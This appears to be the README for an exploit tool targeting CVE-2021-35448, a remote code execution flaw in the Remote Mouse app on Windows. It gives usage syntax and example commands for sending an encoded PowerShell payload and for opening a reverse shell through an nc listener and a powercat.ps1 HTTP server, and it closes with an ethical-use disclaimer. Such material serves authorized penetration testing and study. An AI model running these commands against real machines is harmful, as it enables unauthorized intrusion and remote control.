CVE-2021-35448 - Remote Mouse 利用工具

描述

此利用工具针对 Remote Mouse（原名 WiFi Mouse）应用程序中的 CVE-2021-35448 漏洞。

POC

CVE-2021-35448.webm

使用方法

基本语法

python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]

选项

• -t, --target：目标 IP 地址（必填）
• -p, --payload：自定义执行的命令
• -r, --reverse：反向 Shell，格式为 IP:PORT
• -l, --http：本地 HTTP 服务器，格式为 IP:PORT（与 -r 配合使用）

使用示例

1. 自定义命令

python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="

2. 反向 Shell（推荐）

# 终端 1 - 监听
nc -nlvp 4444

# 终端 2 - 利用
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT

先决条件

所需文件

• CVE-2021-35448.py：主要利用脚本
• powercat.ps1：用于反向 Shell 的 PowerShell 脚本

目标系统

• 已安装并运行 Remote Mouse
• Windows 系统（已在 Windows 10 上测试）

警告

⚠️ 仅限道德使用 ⚠️

此工具仅用于教育目的和授权的渗透测试。未经授权使用此利用工具是非法的，并可能导致法律起诉。

参考

• WiFi Mouse 1.7.8.5 - 远程代码执行
• CVE-2021-35448 详情

作者

为教育和道德渗透测试目的而开发。

最后更新：2025